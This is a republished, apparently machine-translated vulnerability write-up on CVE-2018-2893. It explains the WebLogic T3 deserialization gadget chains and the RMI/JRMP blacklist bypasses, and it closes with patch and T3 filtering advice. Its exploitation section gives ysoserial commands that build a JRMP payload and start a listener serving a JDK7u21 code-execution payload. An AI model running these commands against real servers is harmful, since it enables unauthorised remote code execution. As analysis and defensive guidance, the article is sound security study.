Shulou(Shulou.com)05/31 Report--

How to carry out CVE-2018-2893 WebLogic deserialization vulnerability analysis, I believe that many inexperienced people do not know what to do, so this paper summarizes the causes of the problem and solutions, through this article I hope you can solve this problem.

First, background introduction

WebLogic is an Application Server produced by American Oracle Company. Specifically, it is a middleware based on JAVA EE architecture. WebLogic is a Java application server for developing, integrating, deploying and managing large-scale distributed Web applications, network applications and database applications.

1.1 vulnerability description

Oracle officially released a key patch update in July 2018, which includes a high-risk WebLogic deserialization vulnerability in Oracle WebLogic Server that allows attackers to execute code remotely without authorization.

This vulnerability is caused by the WebLogic T3 service. When the WebLogic console port is opened (default is port 7001), the T3 service is enabled by default, so it will have a significant impact. Combined with the WebLogic WLS component vulnerabilities that have been exposed, it does not rule out the possibility that attackers will exploit the vulnerabilities to dig mines. Therefore, it is recommended that affected enterprise users deploy protective measures as soon as possible.

1.2 affected system version

WebLogic10.3.6.0

WebLogic12.1.3.0

WebLogic12.2.1.2

WebLogic12.2.1.3

1.3 vulnerability number

CVE-2018-2893

Second, details of the loophole

This WebLogic (CVE-2018-2893) vulnerability is inseparable from the previous JRMP protocol vulnerability (CVE-2018-2628). It combines RMI mechanism flaws and JDK deserialization vulnerabilities to bypass the WebLogic blacklist, so before introducing this vulnerability, review the previous exploit chain.

In CVE-2015-4852, the Commons Collections library is used, and the two mainstream utilization chains are TransformedMap and Lazymap, but their cores are similar.

Let's start with an introduction to TransformedMap. The core is the reflection mechanism.

Reflection mechanism

JAVA reflection mechanism is in the running state, for any class, you can know all the properties and methods of this class; for any object, you can call any of its methods and properties; this dynamic information acquisition and the function of dynamically calling the methods of the object is called the reflection mechanism of Java language.

The corresponding code is like this, the following code can call java.net.URLClassLoader.class through reflection, this class can pull any jar file locally or remotely, and read the binary jar file directly regardless of the file name suffix. The following is a jar file that pulls up a bounce Shell function.

Then take a look at the core reflection method, the transform method in InvokerTransformer. This method is the implementation of the core method that executes any class, but it must be called by deserialization. So how is it called?

There are three methods in TransformedMap that call the transform method

Here's who called one of these three methods. You can see that TransformdMap inherits the parent class, and all classes implement the serialization interface, otherwise they can't be deserialized.

Follow up on this parent class

You can see that the setValue called by MapEntry calls the checkSetvalue method in it. Okay, where did I call setValue?

That's the classic sun.reflect.annotation.AnnotationInvocationHandler, which overrides the ReadObject deserialization method, where MapEntry's SetValue method is called.

Then WebLogic's T3 protocol takes the ReadObject method, so if you send him the serialized binary bytes of the WriteObject method through the T3 protocol, he will naturally follow the attack chain above, with the full attack chain attached below.

LazyMap is actually similar, except that it is implemented by using the method of dynamic proxy.

You can see that the get method in Lazymap calls the transfrom method.

The get method is dropped in the classic sun.reflect.annotation.AnnotationInvocationHandler invoke method, which can be called through a dynamic proxy.

Then talk about RMI bypass, RMI is serialization and deserialization, so CVE-2017-3248 and CVE-2018-2628 vulnerabilities are bypassed in this way. CVE-2018-2628 is because the patch only blocks the interface java.rmi.registry.Registry of CVE-2017-3248, while CVE-2018-2628 uses the java.rmi.activation.Activator interface to bypass the blacklist.

RMI is the abbreviation of Remote Method Invocation and a part of J2SE, which allows programmers to develop distributed applications based on Java. A RMI object is a remote Java object, and its methods can be called from another Java virtual machine (or even across the network). The methods of remote objects can be called like the methods of local Java objects, so that objects distributed in different JVM look and behave like local objects.

RMI transports use serialization and deserialization, which can lead to remote command execution if the RMI server port is developed externally and the server uses a library such as Apache CommonsCollections.

RMI relies on the Java remote message exchange protocol JRMP (JavaRemote Messaging Protocol), which is customized for Java and requires both the server and the client to write for Java

Because the later patch fixes the vulnerability of the Commons Collections library and the reflection chain is gone, this time CVE-2018-2893 can be bypassed by RCE implemented through JDK's deserialization vulnerability, that is, the JDK7u21 in ysoserial. Later, an upgraded version of JDK8u20 was developed in JDK7u21. JDK7u21 utilization chain is also very complex, but it still has a lot in common, it also borrows the same dynamic proxy idea as lazymap, and takes the classic sun.reflect.annotation.AnnotationInvocationHandler invoke method, which is the branch of hashcode.

Because commonscollection has been killed, you can't go to the branch of Lazymap to call the transform method in InvokerTransformer. So you can write a malicious TemplatesImpl class object and save it to LinkedHashSet.

While LinkedHashSet inherits Hashset, Hashset overrides the ReadObject method and calls the put method.

There is a hash bypass in the Put method, which has been analyzed in detail and is not described here.

Finally, take a look at the code, first create a malicious TemplatesImpl object, and then call the invoke method through the InvocationHandler dynamic proxy, String zeroHashCodeStr = "f5a5a608"; this is for hash to bypass so that proxy.hashCode () = = templates.hashCode ()

The classic sun.reflect.annotation.AnnotationInvocationHandler has been fixed in later versions of JDK7u21 and JDK8u20, where if it is detected that it is not AnnotationType, it exits throwing an exception and exits the deserialization process.

The bypass idea here is that var1.defaultReadObject () has actually deserialized our malicious serialization code, but it terminated abnormally, so we need to find a readObject method that also throws an exception, but nothing can be done with exception handling at the same time.

There is one such point in java.beans.beancontext.BeanContextSupport that you can take advantage of, and you can see continue. It returns to the BeanContextSupport.readObject () method and continues execution to deserialize.

So insert a BeanContextSupport object into the serialized binary data based on JDk7u21. This object is not added to the dynamic proxy and will be ignored after deserialization is completed. However, a Handle will be assigned and the problem of throwing an exception interrupt will be bypassed. Other points are the same as the JDK7u21 utilization chain, but the offset needs to be changed here. This article will not repeat it in detail.

III. Vulnerability exploitation

CVE-2018-2628 plus JDK7u21 is used here. You can see from the figure below that JDK7u10 is used. Theoretically, vulnerabilities can be triggered successfully if the version of JDK7 series is less than or equal to 21.

> java-jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 "192.168.1.105 1099" > payload_1

This payload is actually the java.rmi.activation.Activator of CVE-2018-2628 and then sent to the RMI of WebLogic,WebLogic through T3 protocol. After receiving it, it is sent to the server written by ysoserial through JRMP.

Monitor the server on 192.168.1.105. If you receive the RMI communication from WebLogic, send the payload of JDK7u21 to WebLogic to pop up a calculator.

Java-cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099Jdk7u21 "calc.exe"

IV. Repair suggestion 1) official patch

Oracle has officially fixed this vulnerability in a key patch update in July. Affected users should update and protect against this vulnerability as soon as possible.

You can log in to https://support.oracle.com using your licensed software account to download the latest patches.

2) repair by hand

To exploit this vulnerability, an attacker first needs to establish a SOCKET connection with the T3 service port provided by WebLogic Server, which can be temporarily blocked by operators by controlling access to the T3 protocol.

WebLogic provides a default connection filter called "weblogic.security.net.ConnectionFilterImpl". This connection filter controls all incoming connections, and access to T3 and T3s protocols can be controlled by modifying this connection filter rule.

After reading the above, have you mastered how to analyze CVE-2018-2893 WebLogic deserialization vulnerabilities? If you want to learn more skills or want to know more about it, you are welcome to follow the industry information channel, thank you for reading!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.